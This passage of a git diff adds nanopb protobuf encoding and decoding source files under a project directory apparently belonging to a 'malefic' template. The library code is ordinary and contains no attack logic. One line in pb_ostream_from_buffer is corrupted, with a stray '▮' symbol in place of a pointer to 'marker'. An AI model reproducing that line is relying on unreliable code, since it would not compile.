else if (field->data_size == sizeof(uint_least16_t)) + clamped = *(uint_least16_t*)field->pData = (uint_least16_t)value; + else if (field->data_size == sizeof(uint_least8_t)) + clamped = *(uint_least8_t*)field->pData = (uint_least8_t)value; + else + PB_RETURN_ERROR(stream, "invalid data_size"); + + if (clamped != value) + PB_RETURN_ERROR(stream, "integer too large"); + + return true; + } + else + { + pb_uint64_t value; + pb_int64_t svalue; + pb_int64_t clamped; + + if (PB_LTYPE(field->type) == PB_LTYPE_SVARINT) + { + if (!pb_decode_svarint(stream, &svalue)) + return false; + } + else + { + if (!pb_decode_varint(stream, &value)) + return false; + + /* See issue 97: Google's C++ protobuf allows negative varint values to + * be cast as int32_t, instead of the int64_t that should be used when + * encoding. Nanopb versions before 0.2.5 had a bug in encoding. In order to + * not break decoding of such messages, we cast <=32 bit fields to + * int32_t first to get the sign correct. + */ + if (field->data_size == sizeof(pb_int64_t)) + svalue = (pb_int64_t)value; + else + svalue = (int32_t)value; + } + + /* Cast to the proper field size, while checking for overflows */ + if (field->data_size == sizeof(pb_int64_t)) + clamped = *(pb_int64_t*)field->pData = svalue; + else if (field->data_size == sizeof(int32_t)) + clamped = *(int32_t*)field->pData = (int32_t)svalue; + else if (field->data_size == sizeof(int_least16_t)) + clamped = *(int_least16_t*)field->pData = (int_least16_t)svalue; + else if (field->data_size == sizeof(int_least8_t)) + clamped = *(int_least8_t*)field->pData = (int_least8_t)svalue; + else + PB_RETURN_ERROR(stream, "invalid data_size"); + + if (clamped != svalue) + PB_RETURN_ERROR(stream, "integer too large"); + + return true; + } +} + +static bool checkreturn pb_dec_bytes(pb_istream_t *stream, const pb_field_iter_t *field) +{ + uint32_t size; + size_t alloc_size; + pb_bytes_array_t *dest; + + if (!pb_decode_varint32(stream, &size)) + return false; + + if (size > PB_SIZE_MAX) + PB_RETURN_ERROR(stream, "bytes overflow"); + + alloc_size = PB_BYTES_ARRAY_T_ALLOCSIZE(size); + if (size > alloc_size) + PB_RETURN_ERROR(stream, "size too large"); + + if (PB_ATYPE(field->type) == PB_ATYPE_POINTER) + { +#ifndef PB_ENABLE_MALLOC + PB_RETURN_ERROR(stream, "no malloc support"); +#else + if (stream->bytes_left < size) + PB_RETURN_ERROR(stream, "end-of-stream"); + + if (!allocate_field(stream, field->pData, alloc_size, 1)) + return false; + dest = *(pb_bytes_array_t**)field->pData; +#endif + } + else + { + if (alloc_size > field->data_size) + PB_RETURN_ERROR(stream, "bytes overflow"); + dest = (pb_bytes_array_t*)field->pData; + } + + dest->size = (pb_size_t)size; + return pb_read(stream, dest->bytes, (size_t)size); +} + +static bool checkreturn pb_dec_string(pb_istream_t *stream, const pb_field_iter_t *field) +{ + uint32_t size; + size_t alloc_size; + pb_byte_t *dest = (pb_byte_t*)field->pData; + + if (!pb_decode_varint32(stream, &size)) + return false; + + if (size == (uint32_t)-1) + PB_RETURN_ERROR(stream, "size too large"); + + /* Space for null terminator */ + alloc_size = (size_t)(size + 1); + + if (alloc_size < size) + PB_RETURN_ERROR(stream, "size too large"); + + if (PB_ATYPE(field->type) == PB_ATYPE_POINTER) + { +#ifndef PB_ENABLE_MALLOC + PB_RETURN_ERROR(stream, "no malloc support"); +#else + if (stream->bytes_left < size) + PB_RETURN_ERROR(stream, "end-of-stream"); + + if (!allocate_field(stream, field->pData, alloc_size, 1)) + return false; + dest = *(pb_byte_t**)field->pData; +#endif + } + else + { + if (alloc_size > field->data_size) + PB_RETURN_ERROR(stream, "string overflow"); + } + + dest[size] = 0; + + if (!pb_read(stream, dest, (size_t)size)) + return false; + +#ifdef PB_VALIDATE_UTF8 + if (!pb_validate_utf8((const char*)dest)) + PB_RETURN_ERROR(stream, "invalid utf8"); +#endif + + return true; +} + +static bool checkreturn pb_dec_submessage(pb_istream_t *stream, const pb_field_iter_t *field) +{ + bool status = true; + bool submsg_consumed = false; + pb_istream_t substream; + + if (!pb_make_string_substream(stream, &substream)) + return false; + + if (field->submsg_desc == NULL) + PB_RETURN_ERROR(stream, "invalid field descriptor"); + + /* Submessages can have a separate message-level callback that is called + * before decoding the message. Typically it is used to set callback fields + * inside oneofs. */ + if (PB_LTYPE(field->type) == PB_LTYPE_SUBMSG_W_CB && field->pSize != NULL) + { + /* Message callback is stored right before pSize. */ + pb_callback_t *callback = (pb_callback_t*)field->pSize - 1; + if (callback->funcs.decode) + { + status = callback->funcs.decode(&substream, field, &callback->arg); + + if (substream.bytes_left == 0) + { + submsg_consumed = true; + } + } + } + + /* Now decode the submessage contents */ + if (status && !submsg_consumed) + { + unsigned int flags = 0; + + /* Static required/optional fields are already initialized by top-level + * pb_decode(), no need to initialize them again. */ + if (PB_ATYPE(field->type) == PB_ATYPE_STATIC && + PB_HTYPE(field->type) != PB_HTYPE_REPEATED) + { + flags = PB_DECODE_NOINIT; + } + + status = pb_decode_inner(&substream, field->submsg_desc, field->pData, flags); + } + + if (!pb_close_string_substream(stream, &substream)) + return false; + + return status; +} + +static bool checkreturn pb_dec_fixed_length_bytes(pb_istream_t *stream, const pb_field_iter_t *field) +{ + uint32_t size; + + if (!pb_decode_varint32(stream, &size)) + return false; + + if (size > PB_SIZE_MAX) + PB_RETURN_ERROR(stream, "bytes overflow"); + + if (size == 0) + { + /* As a special case, treat empty bytes string as all zeros for fixed_length_bytes. */ + memset(field->pData, 0, (size_t)field->data_size); + return true; + } + + if (size != field->data_size) + PB_RETURN_ERROR(stream, "incorrect fixed length bytes size"); + + return pb_read(stream, (pb_byte_t*)field->pData, (size_t)field->data_size); +} + +#ifdef PB_CONVERT_DOUBLE_FLOAT +bool pb_decode_double_as_float(pb_istream_t *stream, float *dest) +{ + uint_least8_t sign; + int exponent; + uint32_t mantissa; + uint64_t value; + union { float f; uint32_t i; } out; + + if (!pb_decode_fixed64(stream, &value)) + return false; + + /* Decompose input value */ + sign = (uint_least8_t)((value >> 63) & 1); + exponent = (int)((value >> 52) & 0x7FF) - 1023; + mantissa = (value >> 28) & 0xFFFFFF; /* Highest 24 bits */ + + /* Figure if value is in range representable by floats. */ + if (exponent == 1024) + { + /* Special value */ + exponent = 128; + mantissa >>= 1; + } + else + { + if (exponent > 127) + { + /* Too large, convert to infinity */ + exponent = 128; + mantissa = 0; + } + else if (exponent < -150) + { + /* Too small, convert to zero */ + exponent = -127; + mantissa = 0; + } + else if (exponent < -126) + { + /* Denormalized */ + mantissa |= 0x1000000; + mantissa >>= (-126 - exponent); + exponent = -127; + } + + /* Round off mantissa */ + mantissa = (mantissa + 1) >> 1; + + /* Check if mantissa went over 2.0 */ + if (mantissa & 0x800000) + { + exponent += 1; + mantissa &= 0x7FFFFF; + mantissa >>= 1; + } + } + + /* Combine fields */ + out.i = mantissa; + out.i |= (uint32_t)(exponent + 127) << 23; + out.i |= (uint32_t)sign << 31; + + *dest = out.f; + return true; +} +#endif diff --git a/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_decode.h b/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_decode.h new file mode 100644 index 0000000..3f392b2 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_decode.h @@ -0,0 +1,204 @@ +/* pb_decode.h: Functions to decode protocol buffers. Depends on pb_decode.c. + * The main function is pb_decode. You also need an input stream, and the + * field descriptions created by nanopb_generator.py. + */ + +#ifndef PB_DECODE_H_INCLUDED +#define PB_DECODE_H_INCLUDED + +#include "pb.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/* Structure for defining custom input streams. You will need to provide + * a callback function to read the bytes from your storage, which can be + * for example a file or a network socket. + * + * The callback must conform to these rules: + * + * 1) Return false on IO errors. This will cause decoding to abort. + * 2) You can use state to store your own data (e.g. buffer pointer), + * and rely on pb_read to verify that no-body reads past bytes_left. + * 3) Your callback may be used with substreams, in which case bytes_left + * is different than from the main stream. Don't use bytes_left to compute + * any pointers. + */ +struct pb_istream_s +{ +#ifdef PB_BUFFER_ONLY + /* Callback pointer is not used in buffer-only configuration. + * Having an int pointer here allows binary compatibility but + * gives an error if someone tries to assign callback function. + */ + int *callback; +#else + bool (*callback)(pb_istream_t *stream, pb_byte_t *buf, size_t count); +#endif + + /* state is a free field for use of the callback function defined above. + * Note that when pb_istream_from_buffer() is used, it reserves this field + * for its own use. + */ + void *state; + + /* Maximum number of bytes left in this stream. Callback can report + * EOF before this limit is reached. Setting a limit is recommended + * when decoding directly from file or network streams to avoid + * denial-of-service by excessively long messages. + */ + size_t bytes_left; + +#ifndef PB_NO_ERRMSG + /* Pointer to constant (ROM) string when decoding function returns error */ + const char *errmsg; +#endif +}; + +#ifndef PB_NO_ERRMSG +#define PB_ISTREAM_EMPTY {0,0,0,0} +#else +#define PB_ISTREAM_EMPTY {0,0,0} +#endif + +/*************************** + * Main decoding functions * + ***************************/ + +/* Decode a single protocol buffers message from input stream into a C structure. + * Returns true on success, false on any failure. + * The actual struct pointed to by dest must match the description in fields. + * Callback fields of the destination structure must be initialized by caller. + * All other fields will be initialized by this function. + * + * Example usage: + * MyMessage msg = {}; + * uint8_t buffer[64]; + * pb_istream_t stream; + * + * // ... read some data into buffer ... + * + * stream = pb_istream_from_buffer(buffer, count); + * pb_decode(&stream, MyMessage_fields, &msg); + */ +bool pb_decode(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct); + +/* Extended version of pb_decode, with several options to control + * the decoding process: + * + * PB_DECODE_NOINIT: Do not initialize the fields to default values. + * This is slightly faster if you do not need the default + * values and instead initialize the structure to 0 using + * e.g. memset(). This can also be used for merging two + * messages, i.e. combine already existing data with new + * values. + * + * PB_DECODE_DELIMITED: Input message starts with the message size as varint. + * Corresponds to parseDelimitedFrom() in Google's + * protobuf API. + * + * PB_DECODE_NULLTERMINATED: Stop reading when field tag is read as 0. This allows + * reading null terminated messages. + * NOTE: Until nanopb-0.4.0, pb_decode() also allows + * null-termination. This behaviour is not supported in + * most other protobuf implementations, so PB_DECODE_DELIMITED + * is a better option for compatibility. + * + * Multiple flags can be combined with bitwise or (| operator) + */ +#define PB_DECODE_NOINIT 0x01U +#define PB_DECODE_DELIMITED 0x02U +#define PB_DECODE_NULLTERMINATED 0x04U +bool pb_decode_ex(pb_istream_t *stream, const pb_msgdesc_t *fields, void *dest_struct, unsigned int flags); + +/* Defines for backwards compatibility with code written before nanopb-0.4.0 */ +#define pb_decode_noinit(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_NOINIT) +#define pb_decode_delimited(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_DELIMITED) +#define pb_decode_delimited_noinit(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_DELIMITED | PB_DECODE_NOINIT) +#define pb_decode_nullterminated(s,f,d) pb_decode_ex(s,f,d, PB_DECODE_NULLTERMINATED) + +/* Release any allocated pointer fields. If you use dynamic allocation, you should + * call this for any successfully decoded message when you are done with it. If + * pb_decode() returns with an error, the message is already released. + */ +void pb_release(const pb_msgdesc_t *fields, void *dest_struct); + +/************************************** + * Functions for manipulating streams * + **************************************/ + +/* Create an input stream for reading from a memory buffer. + * + * msglen should be the actual length of the message, not the full size of + * allocated buffer. + * + * Alternatively, you can use a custom stream that reads directly from e.g. + * a file or a network socket. + */ +pb_istream_t pb_istream_from_buffer(const pb_byte_t *buf, size_t msglen); + +/* Function to read from a pb_istream_t. You can use this if you need to + * read some custom header data, or to read data in field callbacks. + */ +bool pb_read(pb_istream_t *stream, pb_byte_t *buf, size_t count); + + +/************************************************ + * Helper functions for writing field callbacks * + ************************************************/ + +/* Decode the tag for the next field in the stream. Gives the wire type and + * field tag. At end of the message, returns false and sets eof to true. */ +bool pb_decode_tag(pb_istream_t *stream, pb_wire_type_t *wire_type, uint32_t *tag, bool *eof); + +/* Skip the field payload data, given the wire type. */ +bool pb_skip_field(pb_istream_t *stream, pb_wire_type_t wire_type); + +/* Decode an integer in the varint format. This works for enum, int32, + * int64, uint32 and uint64 field types. */ +#ifndef PB_WITHOUT_64BIT +bool pb_decode_varint(pb_istream_t *stream, uint64_t *dest); +#else +#define pb_decode_varint pb_decode_varint32 +#endif + +/* Decode an integer in the varint format. This works for enum, int32, + * and uint32 field types. */ +bool pb_decode_varint32(pb_istream_t *stream, uint32_t *dest); + +/* Decode a bool value in varint format. */ +bool pb_decode_bool(pb_istream_t *stream, bool *dest); + +/* Decode an integer in the zig-zagged svarint format. This works for sint32 + * and sint64. */ +#ifndef PB_WITHOUT_64BIT +bool pb_decode_svarint(pb_istream_t *stream, int64_t *dest); +#else +bool pb_decode_svarint(pb_istream_t *stream, int32_t *dest); +#endif + +/* Decode a fixed32, sfixed32 or float value. You need to pass a pointer to + * a 4-byte wide C variable. */ +bool pb_decode_fixed32(pb_istream_t *stream, void *dest); + +#ifndef PB_WITHOUT_64BIT +/* Decode a fixed64, sfixed64 or double value. You need to pass a pointer to + * a 8-byte wide C variable. */ +bool pb_decode_fixed64(pb_istream_t *stream, void *dest); +#endif + +#ifdef PB_CONVERT_DOUBLE_FLOAT +/* Decode a double value into float variable. */ +bool pb_decode_double_as_float(pb_istream_t *stream, float *dest); +#endif + +/* Make a limited-length substream for reading a PB_WT_STRING field. */ +bool pb_make_string_substream(pb_istream_t *stream, pb_istream_t *substream); +bool pb_close_string_substream(pb_istream_t *stream, pb_istream_t *substream); + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#endif diff --git a/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_encode.c b/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_encode.c new file mode 100644 index 0000000..f9034a5 --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-c/src/c/nanopb/pb_encode.c @@ -0,0 +1,1001 @@ +/* pb_encode.c -- encode a protobuf using minimal resources + * + * 2011 Petteri Aimonen + */ + +#include "pb.h" +#include "pb_encode.h" +#include "pb_common.h" + +/* Use the GCC warn_unused_result attribute to check that all return values + * are propagated correctly. On other compilers, gcc before 3.4.0 and iar + * before 9.40.1 just ignore the annotation. + */ +#if (defined(__GNUC__) && ((__GNUC__ > 3) || (__GNUC__ == 3 && __GNUC_MINOR__ >= 4))) || \ + (defined(__IAR_SYSTEMS_ICC__) && (__VER__ >= 9040001)) + #define checkreturn __attribute__((warn_unused_result)) +#else + #define checkreturn +#endif + +/************************************** + * Declarations internal to this file * + **************************************/ +static bool checkreturn buf_write(pb_ostream_t *stream, const pb_byte_t *buf, size_t count); +static bool checkreturn encode_array(pb_ostream_t *stream, pb_field_iter_t *field); +static bool checkreturn pb_check_proto3_default_value(const pb_field_iter_t *field); +static bool checkreturn encode_basic_field(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn encode_callback_field(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn encode_field(pb_ostream_t *stream, pb_field_iter_t *field); +static bool checkreturn encode_extension_field(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn default_extension_encoder(pb_ostream_t *stream, const pb_extension_t *extension); +static bool checkreturn pb_encode_varint_32(pb_ostream_t *stream, uint32_t low, uint32_t high); +static bool checkreturn pb_enc_bool(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_varint(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_fixed(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_bytes(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_string(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_submessage(pb_ostream_t *stream, const pb_field_iter_t *field); +static bool checkreturn pb_enc_fixed_length_bytes(pb_ostream_t *stream, const pb_field_iter_t *field); + +#ifdef PB_WITHOUT_64BIT +#define pb_int64_t int32_t +#define pb_uint64_t uint32_t +#else +#define pb_int64_t int64_t +#define pb_uint64_t uint64_t +#endif + +/******************************* + * pb_ostream_t implementation * + *******************************/ + +static bool checkreturn buf_write(pb_ostream_t *stream, const pb_byte_t *buf, size_t count) +{ + pb_byte_t *dest = (pb_byte_t*)stream->state; + stream->state = dest + count; + + memcpy(dest, buf, count * sizeof(pb_byte_t)); + + return true; +} + +pb_ostream_t pb_ostream_from_buffer(pb_byte_t *buf, size_t bufsize) +{ + pb_ostream_t stream; +#ifdef PB_BUFFER_ONLY + /* In PB_BUFFER_ONLY configuration the callback pointer is just int*. + * NULL pointer marks a sizing field, so put a non-NULL value to mark a buffer stream. + */ + static const int marker = 0; + stream.callback = ▮ +#else + stream.callback = &buf_write; +#endif + stream.state = buf; + stream.max_size = bufsize; + stream.bytes_written = 0; +#ifndef PB_NO_ERRMSG + stream.errmsg = NULL; +#endif + return stream; +} + +bool checkreturn pb_write(pb_ostream_t *stream, const pb_byte_t *buf, size_t count) +{ + if (count > 0 && stream->callback != NULL) + { + if (stream->bytes_written + count < stream->bytes_written || + stream->bytes_written + count > stream->max_size) + { + PB_RETURN_ERROR(stream, "stream full"); + } + +#ifdef PB_BUFFER_ONLY + if (!buf_write(stream, buf, count)) + PB_RETURN_ERROR(stream, "io error"); +#else + if (!stream->callback(stream, buf, count)) + PB_RETURN_ERROR(stream, "io error"); +#endif + } + + stream->bytes_written += count; + return true; +} + +/************************* + * Encode a single field * + *************************/ + +/* Read a bool value without causing undefined behavior even if the value + * is invalid. See issue #434 and + * https://stackoverflow.com/questions/27661768/weird-results-for-conditional + */ +static bool safe_read_bool(const void *pSize) +{ + const char *p = (const char *)pSize; + size_t i; + for (i = 0; i < sizeof(bool); i++) + { + if (p[i] != 0) + return true; + } + return false; +} + +/* Encode a static array. Handles the size calculations and possible packing. */ +static bool checkreturn encode_array(pb_ostream_t *stream, pb_field_iter_t *field) +{ + pb_size_t i; + pb_size_t count; +#ifndef PB_ENCODE_ARRAYS_UNPACKED + size_t size; +#endif + + count = *(pb_size_t*)field->pSize; + + if (count == 0) + return true; + + if (PB_ATYPE(field->type) != PB_ATYPE_POINTER && count > field->array_size) + PB_RETURN_ERROR(stream, "array max size exceeded"); + +#ifndef PB_ENCODE_ARRAYS_UNPACKED + /* We always pack arrays if the datatype allows it. */ + if (PB_LTYPE(field->type) <= PB_LTYPE_LAST_PACKABLE) + { + if (!pb_encode_tag(stream, PB_WT_STRING, field->tag)) + return false; + + /* Determine the total size of packed array. */ + if (PB_LTYPE(field->type) == PB_LTYPE_FIXED32) + { + size = 4 * (size_t)count; + } + else if (PB_LTYPE(field->type) == PB_LTYPE_FIXED64) + { + size = 8 * (size_t)count; + } + else + { + pb_ostream_t sizestream = PB_OSTREAM_SIZING; + void *pData_orig = field->pData; + for (i = 0; i < count; i++) + { + if (!pb_enc_varint(&sizestream, field)) + PB_RETURN_ERROR(stream, PB_GET_ERROR(&sizestream)); + field->pData = (char*)field->pData + field->data_size; + } + field->pData = pData_orig; + size = sizestream.bytes_written; + } + + if (!pb_encode_varint(stream, (pb_uint64_t)size)) + return false; + + if (stream->callback == NULL) + return pb_write(stream, NULL, size); /* Just sizing.. */ + + /* Write the data */ + for (i = 0; i < count; i++) + { + if (PB_LTYPE(field->type) == PB_LTYPE_FIXED32 || PB_LTYPE(field->type) == PB_LTYPE_FIXED64) + { + if (!pb_enc_fixed(stream, field)) + return false; + } + else + { + if (!pb_enc_varint(stream, field)) + return false; + } + + field->pData = (char*)field->pData + field->data_size; + } + } + else /* Unpacked fields */ +#endif + { + for (i = 0; i < count; i++) + { + /* Normally the data is stored directly in the array entries, but + * for pointer-type string and bytes fields, the array entries are + * actually pointers themselves also. So we have to dereference once + * more to get to the actual data. */ + if (PB_ATYPE(field->type) == PB_ATYPE_POINTER && + (PB_LTYPE(field->type) == PB_LTYPE_STRING || + PB_LTYPE(field->type) == PB_LTYPE_BYTES)) + { + bool status; + void *pData_orig = field->pData; + field->pData = *(void* const*)field->pData; + + if (!field->pData) + { + /* Null pointer in array is treated as empty string / bytes */ + status = pb_encode_tag_for_field(stream, field) && + pb_encode_varint(stream, 0); + } + else + { + status = encode_basic_field(stream, field); + } + + field->pData = pData_orig; + + if (!status) + return false; + } + else + { + if (!encode_basic_field(stream, field)) + return false; + } + field->pData = (char*)field->pData + field->data_size; + } + } + + return true; +} + +/* In proto3, all fields are optional and are only encoded if their value is "non-zero". + * This function implements the check for the zero value. */ +static bool checkreturn pb_check_proto3_default_value(const pb_field_iter_t *field) +{ + pb_type_t type = field->type; + + if (PB_ATYPE(type) == PB_ATYPE_STATIC) + { + if (PB_HTYPE(type) == PB_HTYPE_REQUIRED) + { + /* Required proto2 fields inside proto3 submessage, pretty rare case */ + return false; + } + else if (PB_HTYPE(type) == PB_HTYPE_REPEATED) + { + /* Repeated fields inside proto3 submessage: present if count != 0 */ + return *(const pb_size_t*)field->pSize == 0; + } + else if (PB_HTYPE(type) == PB_HTYPE_ONEOF) + { + /* Oneof fields */ + return *(const pb_size_t*)field->pSize == 0; + } + else if (PB_HTYPE(type) == PB_HTYPE_OPTIONAL && field->pSize != NULL) + { + /* Proto2 optional fields inside proto3 message, or proto3 + * submessage fields. */ + return safe_read_bool(field->pSize) == false; + } + else if (field->descriptor->default_value) + { + /* Proto3 messages do not have default values, but proto2 messages + * can contain optional fields without has_fields (generator option 'proto3'). + * In this case they must always be encoded, to make sure that the + * non-zero default value is overwritten. + */ + return false; + } + + /* Rest is proto3 singular fields */ + if (PB_LTYPE(type) <= PB_LTYPE_LAST_PACKABLE) + { + /* Simple integer / float fields */ + pb_size_t i; + const char *p = (const char*)field->pData; + for (i = 0; i < field->data_size; i++) + { + if (p[i] != 0) + { + return false; + } + } + + return true; + } + else if (PB_LTYPE(type) == PB_LTYPE_BYTES) + { + const pb_bytes_array_t *bytes = (const pb_bytes_array_t*)field->pData; + return bytes->size == 0; + } + else if (PB_LTYPE(type) == PB_LTYPE_STRING) + { + return *(const char*)field->pData == '\0'; + } + else if (PB_LTYPE(type) == PB_LTYPE_FIXED_LENGTH_BYTES) + { + /* Fixed length bytes is only empty if its length is fixed + * as 0. Which would be pretty strange, but we can check + * it anyway. */ + return field->data_size == 0; + } + else if (PB_LTYPE_IS_SUBMSG(type)) + { + /* Check all fields in the submessage to find if any of them + * are non-zero. The comparison cannot be done byte-per-byte + * because the C struct may contain padding bytes that must + * be skipped. Note that usually proto3 submessages have + * a separate has_field that is checked earlier in this if. + */ + pb_field_iter_t iter; + if (pb_field_iter_begin(&iter, field->submsg_desc, field->pData)) + { + do + { + if (!pb_check_proto3_default_value(&iter)) + { + return false; + } + } while (pb_field_iter_next(&iter)); + } + return true; + } + } + else if (PB_ATYPE(type) == PB_ATYPE_POINTER) + { + return field->pData == NULL; + } + else if (PB_ATYPE(type) == PB_ATYPE_CALLBACK) + { + if (PB_LTYPE(type) == PB_LTYPE_EXTENSION) + { + const pb_extension_t *extension = *(const pb_extension_t* const *)field->pData; + return extension == NULL; + } + else if (field->descriptor->field_callback == pb_default_field_callback) + { + pb_callback_t *pCallback = (pb_callback_t*)field->pData; + return pCallback->funcs.encode == NULL; + } + else + { + return field->descriptor->field_callback == NULL; + } + } + + return false; /* Not typically reached, safe default for weird special cases. */ +} + +/* Encode a field with static or pointer allocation, i.e. one whose data + * is available to the encoder directly. */ +static bool checkreturn encode_basic_field(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + if (!field->pData) + { + /* Missing pointer field */ + return true; + } + + if (!pb_encode_tag_for_field(stream, field)) + return false; + + switch (PB_LTYPE(field->type)) + { + case PB_LTYPE_BOOL: + return pb_enc_bool(stream, field); + + case PB_LTYPE_VARINT: + case PB_LTYPE_UVARINT: + case PB_LTYPE_SVARINT: + return pb_enc_varint(stream, field); + + case PB_LTYPE_FIXED32: + case PB_LTYPE_FIXED64: + return pb_enc_fixed(stream, field); + + case PB_LTYPE_BYTES: + return pb_enc_bytes(stream, field); + + case PB_LTYPE_STRING: + return pb_enc_string(stream, field); + + case PB_LTYPE_SUBMESSAGE: + case PB_LTYPE_SUBMSG_W_CB: + return pb_enc_submessage(stream, field); + + case PB_LTYPE_FIXED_LENGTH_BYTES: + return pb_enc_fixed_length_bytes(stream, field); + + default: + PB_RETURN_ERROR(stream, "invalid field type"); + } +} + +/* Encode a field with callback semantics. This means that a user function is + * called to provide and encode the actual data. */ +static bool checkreturn encode_callback_field(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + if (field->descriptor->field_callback != NULL) + { + if (!field->descriptor->field_callback(NULL, stream, field)) + PB_RETURN_ERROR(stream, "callback error"); + } + return true; +} + +/* Encode a single field of any callback, pointer or static type. */ +static bool checkreturn encode_field(pb_ostream_t *stream, pb_field_iter_t *field) +{ + /* Check field presence */ + if (PB_HTYPE(field->type) == PB_HTYPE_ONEOF) + { + if (*(const pb_size_t*)field->pSize != field->tag) + { + /* Different type oneof field */ + return true; + } + } + else if (PB_HTYPE(field->type) == PB_HTYPE_OPTIONAL) + { + if (field->pSize) + { + if (safe_read_bool(field->pSize) == false) + { + /* Missing optional field */ + return true; + } + } + else if (PB_ATYPE(field->type) == PB_ATYPE_STATIC) + { + /* Proto3 singular field */ + if (pb_check_proto3_default_value(field)) + return true; + } + } + + if (!field->pData) + { + if (PB_HTYPE(field->type) == PB_HTYPE_REQUIRED) + PB_RETURN_ERROR(stream, "missing required field"); + + /* Pointer field set to NULL */ + return true; + } + + /* Then encode field contents */ + if (PB_ATYPE(field->type) == PB_ATYPE_CALLBACK) + { + return encode_callback_field(stream, field); + } + else if (PB_HTYPE(field->type) == PB_HTYPE_REPEATED) + { + return encode_array(stream, field); + } + else + { + return encode_basic_field(stream, field); + } +} + +/* Default handler for extension fields. Expects to have a pb_msgdesc_t + * pointer in the extension->type->arg field, pointing to a message with + * only one field in it. */ +static bool checkreturn default_extension_encoder(pb_ostream_t *stream, const pb_extension_t *extension) +{ + pb_field_iter_t iter; + + if (!pb_field_iter_begin_extension_const(&iter, extension)) + PB_RETURN_ERROR(stream, "invalid extension"); + + return encode_field(stream, &iter); +} + + +/* Walk through all the registered extensions and give them a chance + * to encode themselves. */ +static bool checkreturn encode_extension_field(pb_ostream_t *stream, const pb_field_iter_t *field) +{ + const pb_extension_t *extension = *(const pb_extension_t* const *)field->pData; + + while (extension) + { + bool status; + if (extension->type->encode) + status = extension->type->encode(stream, extension); + else + status = default_extension_encoder(stream, extension); + + if (!status) + return false; + + extension = extension->next; + } + + return true; +} + +/********************* + * Encode all fields * + *********************/ + +bool checkreturn pb_encode(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct) +{ + pb_field_iter_t iter; + if (!pb_field_iter_begin_const(&iter, fields, src_struct)) + return true; /* Empty message type */ + + do { + if (PB_LTYPE(iter.type) == PB_LTYPE_EXTENSION) + { + /* Special case for the extension field placeholder */ + if (!encode_extension_field(stream, &iter)) + return false; + } + else + { + /* Regular field */ + if (!encode_field(stream, &iter)) + return false; + } + } while (pb_field_iter_next(&iter)); + + return true; +} + +bool checkreturn pb_encode_ex(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct, unsigned int flags) +{ + if ((flags & PB_ENCODE_DELIMITED) != 0) + { + return pb_encode_submessage(stream, fields, src_struct); + } + else if ((flags & PB_ENCODE_NULLTERMINATED) != 0) + { + const pb_byte_t zero = 0; + + if (!pb_encode(stream, fields, src_struct)) + return false; + + return pb_write(stream, &zero, 1); + } + else + { + return pb_encode(stream, fields, src_struct); + } +} + +bool pb_get_encoded_size(size_t *size, const pb_msgdesc_t *fields, const void *src_struct) +{ + pb_ostream_t stream = PB_OSTREAM_SIZING; + + if (!pb_encode(&stream, fields, src_struct)) + return false; + + *size = stream.bytes_written; + return true; +} + +/******************** + * Helper functions * + ********************/ + +/* This function avoids 64-bit shifts as they are quite slow on many platforms. */ +static bool checkreturn pb_encode_varint_32(pb_ostream_t *stream, uint32_t low, uint32_t high) +{ + size_t i = 0; + pb_byte_t buffer[10]; + pb_byte_t byte = (pb_byte_t)(low & 0x7F); + low >>= 7; + + while (i < 4 && (low != 0 || high != 0)) + { + byte |= 0x80; + buffer[i++] = byte; + byte = (pb_byte_t)(low & 0x7F); + low >>= 7; + } + + if (high) + { + byte = (pb_byte_t)(byte | ((high & 0x07) << 4)); + high >>= 3; + + while (high) + { + byte |= 0x80; + buffer[i++] = byte; + byte = (pb_byte_t)(high & 0x7F); + high >>= 7; + } + } + + buffer[i++] = byte; + + return pb_write(stream, buffer, i); +} + +bool checkreturn pb_encode_varint(pb_ostream_t *stream, pb_uint64_t value) +{ + if (value <= 0x7F) + { + /* Fast path: single byte */ + pb_byte_t byte = (pb_byte_t)value; + return pb_write(stream, &byte, 1); + } + else + { +#ifdef PB_WITHOUT_64BIT + return pb_encode_varint_32(stream, value, 0); +#else + return pb_encode_varint_32(stream, (uint32_t)value, (uint32_t)(value >> 32)); +#endif + } +} + +bool checkreturn pb_encode_svarint(pb_ostream_t *stream, pb_int64_t value) +{ + pb_uint64_t zigzagged; + pb_uint64_t mask = ((pb_uint64_t)-1) >> 1; /* Satisfy clang -fsanitize=integer */ + if (value < 0) + zigzagged = ~(((pb_uint64_t)value & mask) << 1); + else + zigzagged = (pb_uint64_t)value << 1; + + return pb_encode_varint(stream, zigzagged); +} + +bool checkreturn pb_encode_fixed32(pb_ostream_t *stream, const void *value) +{ +#if defined(PB_LITTLE_ENDIAN_8BIT) && PB_LITTLE_ENDIAN_8BIT == 1 + /* Fast path if we know that we're on little endian */ + return pb_write(stream, (const pb_byte_t*)value, 4); +#else + uint32_t val = *(const uint32_t*)value; + pb_byte_t bytes[4]; + bytes[0] = (pb_byte_t)(val & 0xFF); + bytes[1] = (pb_byte_t)((val >> 8) & 0xFF); + bytes[2] = (pb_byte_t)((val >> 16) & 0xFF); + bytes[3] = (pb_byte_t)((val >> 24) & 0xFF); + return pb_write(stream, bytes, 4); +#endif +} + +#ifndef 